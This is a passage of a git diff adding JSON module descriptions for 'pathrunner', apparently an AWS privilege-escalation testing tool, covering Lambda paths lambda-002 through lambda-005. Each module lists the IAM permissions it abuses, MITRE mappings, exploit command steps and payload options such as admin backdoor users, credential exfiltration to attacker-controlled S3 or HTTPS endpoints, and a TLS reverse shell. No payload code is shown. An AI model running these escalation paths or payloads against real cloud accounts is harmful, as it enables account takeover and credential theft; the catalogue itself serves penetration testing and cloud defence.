+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user (does not work on roles)",
+      "slug": "lambda-backdoor-create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy",
+      "slug": "lambda-backdoor-create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and console access",
+      "slug": "lambda-backdoor-create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal",
+      "slug": "lambda-backdoor-update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Send extracted credentials to a remote HTTPS endpoint",
+      "slug": "lambda-exfil-https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "name": "exfil/response",
+      "description": "Extract credentials and return them in the Lambda function response",
+      "slug": "lambda-exfil-response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+      "slug": "lambda-exfil-s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+      "slug": "lambda-revshell-tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use lambda-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD exfil/response",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "lambda-001",
+  "gifs": [
+    {
+      "name": "lambda-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/lambda-002.json b/docs/pathrunner/data/modules/lambda-002.json
new file mode 100644
index 00000000..d3e7b091
--- /dev/null
+++ b/docs/pathrunner/data/modules/lambda-002.json
@@ -0,0 +1,295 @@
+{
+  "id": "lambda-002",
+  "name": "iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping",
+  "description": "Create a Lambda function with a privileged role and configure it to be triggered by a DynamoDB stream event source, executing code with elevated privileges without manual invocation",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "lambda"
+  ],
+  "primaryService": "lambda",
+  "aliases": [
+    "lambda-passrole-esm",
+    "exploit/lambda_passrole_esm"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/lambda-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in the Resource section"
+      },
+      {
+        "permission": "lambda:CreateFunction",
+        "description": "Must have permission to create Lambda functions"
+      },
+      {
+        "permission": "lambda:CreateEventSourceMapping",
+        "description": "Must have permission to create event source mappings"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering available roles to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies and attached permissions"
+      },
+      {
+        "permission": "dynamodb:DescribeTable",
+        "description": "Get table details including stream ARN"
+      },
+      {
+        "permission": "dynamodb:PutItem",
+        "description": "Trigger Lambda execution by inserting record into DynamoDB table"
+      },
+      {
+        "permission": "lambda:ListFunctions",
+        "description": "Helpful for reconnaissance"
+      },
+      {
+        "permission": "lambda:ListEventSourceMappings",
+        "description": "Useful for seeing existing event source mappings"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts lambda.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess)",
+      "An event source must exist (DynamoDB stream, Kinesis stream, or SQS queue)"
+    ],
+    "lateral": [
+      "A role must exist that trusts lambda.amazonaws.com to assume it",
+      "An event source must exist (DynamoDB stream, Kinesis stream, or SQS queue)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - lambda-002",
+      "url": "https://pathfinding.cloud/paths/lambda-002"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    }
+  ],
+  "relatedPaths": [
+    "lambda-001",
+    "lambda-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to Lambda",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, backdoor/create-role, backdoor/create-user, exfil/https)",
+      "required": true
+    },
+    {
+      "name": "EVENT_SOURCE_ARN",
+      "description": "DynamoDB stream ARN to use as event source",
+      "required": true,
+      "mockValue": "arn:aws:dynamodb::123456789012:table/target-table/stream/2026-01-01T00:00:00.000"
+    },
+    {
+      "name": "TABLE_NAME",
+      "description": "DynamoDB table name for inserting trigger records",
+      "required": true,
+      "mockValue": "target-dynamodb-table"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "FUNCTION_NAME",
+      "description": "Lambda function name",
+      "required": false,
+      "mockValue": "target-lambda-function"
+    },
+    {
+      "name": "RUNTIME",
+      "description": "Lambda runtime",
+      "required": false,
+      "default": "python3.11"
+    },
+    {
+      "name": "TIMEOUT",
+      "description": "Function timeout in seconds",
+      "required": false,
+      "default": "30"
+    },
+    {
+      "name": "MEMORY_SIZE",
+      "description": "Function memory size in MB",
+      "required": false,
+      "default": "128"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up Lambda function and ESM after execution (starting user may lack DeleteFunction permission)",
+      "required": false,
+      "default": "false"
+    },
+    {
+      "name": "MAX_TRIGGER_ATTEMPTS",
+      "description": "Max trigger-and-verify attempts (each ~10s, default 30 = 5 min)",
+      "required": false,
+      "default": "30"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+      "slug": "lambda-backdoor-attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user (does not work on roles)",
+      "slug": "lambda-backdoor-create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy",
+      "slug": "lambda-backdoor-create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and console access",
+      "slug": "lambda-backdoor-create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal",
+      "slug": "lambda-backdoor-update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Send extracted credentials to a remote HTTPS endpoint",
+      "slug": "lambda-exfil-https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "name": "exfil/response",
+      "description": "Extract credentials and return them in the Lambda function response",
+      "slug": "lambda-exfil-response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+      "slug": "lambda-exfil-s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+      "slug": "lambda-revshell-tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use lambda-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD exfil/response",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set EVENT_SOURCE_ARN arn:aws:dynamodb::123456789012:table/target-table/stream/2026-01-01T00:00:00.000",
+    "pathrunner set TABLE_NAME target-dynamodb-table",
+    "pathrunner exploit"
+  ],
+  "labSlug": "lambda-002",
+  "gifs": [
+    {
+      "name": "lambda-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/lambda-003.json b/docs/pathrunner/data/modules/lambda-003.json
new file mode 100644
index 00000000..3a7e7d08
--- /dev/null
+++ b/docs/pathrunner/data/modules/lambda-003.json
@@ -0,0 +1,247 @@
+{
+  "id": "lambda-003",
+  "name": "lambda:UpdateFunctionCode",
+  "description": "Modify an existing Lambda function's code to execute malicious logic under the function's privileged execution role",
+  "category": "existing-passrole",
+  "services": [
+    "lambda"
+  ],
+  "primaryService": "lambda",
+  "aliases": [
+    "lambda-updatecode",
+    "exploit/lambda_updatecode"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/lambda-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "lambda:UpdateFunctionCode",
+        "description": "Must have permission to update the target Lambda function's code"
+      },
+      {
+        "permission": "lambda:InvokeFunction",
+        "description": "Must have permission to invoke the target Lambda function"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "lambda:ListFunctions",
+        "description": "Helpful for discovering available Lambda functions to target"
+      },
+      {
+        "permission": "lambda:GetFunction",
+        "description": "Useful for viewing function details including execution role ARN"
+      },
+      {
+        "permission": "lambda:GetFunctionConfiguration",
+        "description": "Useful for viewing function configuration details"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing the execution role's trust policy and permissions"
+      },
+      {
+        "permission": "iam:ListAttachedRolePolicies",
+        "description": "Useful for understanding what permissions the execution role has"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A Lambda function must exist with an administrative execution role (e.g., AdministratorAccess)",
+      "The function must be invokable either manually or via automatic triggers"
+    ],
+    "lateral": [
+      "A Lambda function must exist with a privileged execution role",
+      "The function must be invokable either manually or via automatic triggers"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - lambda-003",
+      "url": "https://pathfinding.cloud/paths/lambda-003"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    }
+  ],
+  "relatedPaths": [
+    "lambda-001",
+    "lambda-002",
+    "lambda-004"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1525 - Implant Internal Image"
+    ]
+  },
+  "options": [
+    {
+      "name": "FUNCTION_NAME",
+      "description": "Target Lambda function name to update",
+      "required": true,
+      "mockValue": "target-lambda-function"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (exfil/response, exfil/https, backdoor/attach-policy, backdoor/create-role, backdoor/create-user)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore original function code after execution",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "FUNCTION_RUNTIME",
+      "description": "Lambda runtime (auto-detected via 'discover FUNCTION_NAME')",
+      "required": false
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+      "slug": "lambda-backdoor-attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user (does not work on roles)",
+      "slug": "lambda-backdoor-create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy",
+      "slug": "lambda-backdoor-create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and console access",
+      "slug": "lambda-backdoor-create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal",
+      "slug": "lambda-backdoor-update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Send extracted credentials to a remote HTTPS endpoint",
+      "slug": "lambda-exfil-https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "name": "exfil/response",
+      "description": "Extract credentials and return them in the Lambda function response",
+      "slug": "lambda-exfil-response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+      "slug": "lambda-exfil-s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+      "slug": "lambda-revshell-tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use lambda-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD exfil/response",
+    "pathrunner set FUNCTION_NAME target-lambda-function",
+    "pathrunner exploit"
+  ],
+  "labSlug": "lambda-003",
+  "gifs": [
+    {
+      "name": "lambda-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/lambda-004.json b/docs/pathrunner/data/modules/lambda-004.json
new file mode 100644
index 00000000..c9f2fe57
--- /dev/null
+++ b/docs/pathrunner/data/modules/lambda-004.json
@@ -0,0 +1,251 @@
+{
+  "id": "lambda-004",
+  "name": "lambda:UpdateFunctionCode + lambda:InvokeFunction",
+  "description": "Modify an existing Lambda function's code and manually invoke it to execute malicious logic under the function's privileged execution role",
+  "category": "existing-passrole",
+  "services": [
+    "lambda"
+  ],
+  "primaryService": "lambda",
+  "aliases": [
+    "lambda-updatecode-invoke",
+    "exploit/lambda_updatecode_invoke"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/lambda-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "lambda:UpdateFunctionCode",
+        "description": "Must have permission to update the target Lambda function's code"
+      },
+      {
+        "permission": "lambda:InvokeFunction",
+        "description": "Must have permission to invoke the target Lambda function"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "lambda:ListFunctions",
+        "description": "Helpful for discovering available Lambda functions to target"
+      },
+      {
+        "permission": "lambda:GetFunction",
+        "description": "Useful for viewing function details including execution role ARN"
+      },
+      {
+        "permission": "lambda:GetFunctionConfiguration",
+        "description": "Useful for viewing function configuration details"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing the execution role's trust policy and permissions"
+      },
+      {
+        "permission": "iam:ListAttachedRolePolicies",
+        "description": "Useful for understanding what permissions the execution role has"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A Lambda function must exist with an administrative execution role (e.g., AdministratorAccess)",
+      "The function must be invokable either manually or via automatic triggers"
+    ],
+    "lateral": [
+      "A Lambda function must exist with a privileged execution role",
+      "The function must be invokable either manually or via automatic triggers"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - lambda-004",
+      "url": "https://pathfinding.cloud/paths/lambda-004"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS Lambda Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/index.html#lambdaupdatefunctioncode"
+    }
+  ],
+  "relatedPaths": [
+    "lambda-001",
+    "lambda-002",
+    "lambda-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1525 - Implant Internal Image"
+    ]
+  },
+  "options": [
+    {
+      "name": "FUNCTION_NAME",
+      "description": "Target Lambda function name to update and invoke",
+      "required": true,
+      "mockValue": "target-lambda-function"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (exfil/response, exfil/https, backdoor/attach-policy, backdoor/create-role, backdoor/create-user)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore original function code after execution",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "FUNCTION_RUNTIME",
+      "description": "Lambda runtime (auto-detected via 'discover FUNCTION_NAME')",
+      "required": false
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+      "slug": "lambda-backdoor-attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user (does not work on roles)",
+      "slug": "lambda-backdoor-create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy",
+      "slug": "lambda-backdoor-create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and console access",
+      "slug": "lambda-backdoor-create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal",
+      "slug": "lambda-backdoor-update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Send extracted credentials to a remote HTTPS endpoint",
+      "slug": "lambda-exfil-https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "name": "exfil/response",
+      "description": "Extract credentials and return them in the Lambda function response",
+      "slug": "lambda-exfil-response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+      "slug": "lambda-exfil-s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+      "slug": "lambda-revshell-tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use lambda-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD exfil/response",
+    "pathrunner set FUNCTION_NAME target-lambda-function",
+    "pathrunner exploit"
+  ],
+  "labSlug": "lambda-004",
+  "gifs": [
+    {
+      "name": "lambda-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/lambda-005.json b/docs/pathrunner/data/modules/lambda-005.json
new file mode 100644
index 00000000..7502b1c4
--- /dev/null
+++ b/docs/pathrunner/data/modules/lambda-005.json
@@ -0,0 +1,254 @@
+{
+  "id": "lambda-005",
+  "name": "lambda:UpdateFunctionCode + lambda:AddPermission",
+  "description": "Modify an existing Lambda function's code with malicious code and grant self-invocation permission via the resource-based policy to execute code under the function's privileged execution role",
+  "category": "existing-passrole",
+  "services": [
+    "lambda"
+  ],
+  "primaryService": "lambda",
+  "aliases": [
+    "lambda-updatecode-addpermission",
+    "exploit/lambda_updatecode_addpermission"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/lambda-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "lambda:UpdateFunctionCode",
+        "description": "Must have permission to update the target Lambda function's code"
+      },
+      {
+        "permission": "lambda:AddPermission",
+        "description": "Must have permission to modify the target Lambda function's resource-based policy"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "lambda:ListFunctions",
+        "description": "Helpful for discovering available Lambda functions to target"
+      },
+      {
+        "permission": "lambda:GetFunction",
+        "description": "Useful for viewing function details including execution role ARN and resource policy"
+      },
+      {
+        "permission": "lambda:GetFunctionConfiguration",
+        "description": "Useful for viewing function configuration details"
+      },
+      {
+        "permission": "lambda:GetPolicy",
+        "description": "Useful for viewing the function's resource-based policy"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing the execution role's trust policy and permissions"
+      },
+      {
+        "permission": "iam:ListAttachedRolePolicies",
+        "description": "Useful for understanding what permissions the execution role has"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A Lambda function must exist with an administrative execution role (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "A Lambda function must exist with a privileged execution role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - lambda-005",
+      "url": "https://pathfinding.cloud/paths/lambda-005"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS Lambda Privesc",
+      "url": "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc"
+    }
+  ],
+  "relatedPaths": [
+    "lambda-001",
+    "lambda-002",
+    "lambda-003",
+    "lambda-004"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1648 - Serverless Execution"
+    ]
+  },
+  "options": [
+    {
+      "name": "FUNCTION_NAME",
+      "description": "Target Lambda function name to update",
+      "required": true,
+      "mockValue": "target-lambda-function"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (exfil/response, exfil/https, backdoor/attach-policy, backdoor/create-role, backdoor/create-user)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore original function code and remove added permission after execution",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "FUNCTION_RUNTIME",
+      "description": "Lambda runtime (auto-detected via 'discover FUNCTION_NAME')",
+      "required": false
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+      "slug": "lambda-backdoor-attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user (does not work on roles)",
+      "slug": "lambda-backdoor-create-access-key",
+      "qualifiedName": "lambda:backdoor/create-access-key",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy",
+      "slug": "lambda-backdoor-create-role",
+      "qualifiedName": "lambda:backdoor/create-role",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and console access",
+      "slug": "lambda-backdoor-create-user",
+      "qualifiedName": "lambda:backdoor/create-user",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal",
+      "slug": "lambda-backdoor-update-role-trust",
+      "qualifiedName": "lambda:backdoor/update-role-trust",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Send extracted credentials to a remote HTTPS endpoint",
+      "slug": "lambda-exfil-https",
+      "qualifiedName": "lambda:exfil/https",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "webhook"
+      ]
+    },
+    {
+      "name": "exfil/response",
+      "description": "Extract credentials and return them in the Lambda function response",
+      "slug": "lambda-exfil-response",
+      "qualifiedName": "lambda:exfil/response",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "response"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+      "slug": "lambda-exfil-s3",
+      "qualifiedName": "lambda:exfil/s3",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+      "slug": "lambda-revshell-tls",
+      "qualifiedName": "lambda:revshell/tls",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use lambda-005",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD exfil/response",
